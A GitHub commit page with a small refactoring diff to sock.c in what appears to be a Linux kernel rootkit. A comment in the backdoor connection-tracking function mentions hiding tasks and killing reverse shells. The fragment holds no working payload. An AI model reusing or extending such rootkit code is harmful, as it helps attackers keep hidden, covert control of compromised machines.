Skip to content

Commit

Permalink
Remove pointless if
Browse files Browse the repository at this point in the history
  • Loading branch information
carloslack committed Sep 30, 2023
1 parent f13ac79 commit 852529a
Showing 1 changed file with 3 additions and 5 deletions.
8 changes: 3 additions & 5 deletions src/sock.c
Original file line number Diff line number Diff line change
Expand Up @@ -324,12 +324,10 @@ bool kv_bd_established(__be32 *daddr, int dport, bool established) {
* Make sure to mark established only once per-connection so
* they will not loose state.
* This will make internal references to be kept until
* connections are closed by clients, when tasks will be unhidden, data
* freed and the reverse shell(s) killed.
* connections are closed by clients, when tasks are revealed, data
* freed and reverse shell(s) killed.
*/
if (!node->established) {
node->established = established;
}
node->established = established;

rc = true;
break;
Expand Down

0 comments on commit 852529a

Please sign in to comment.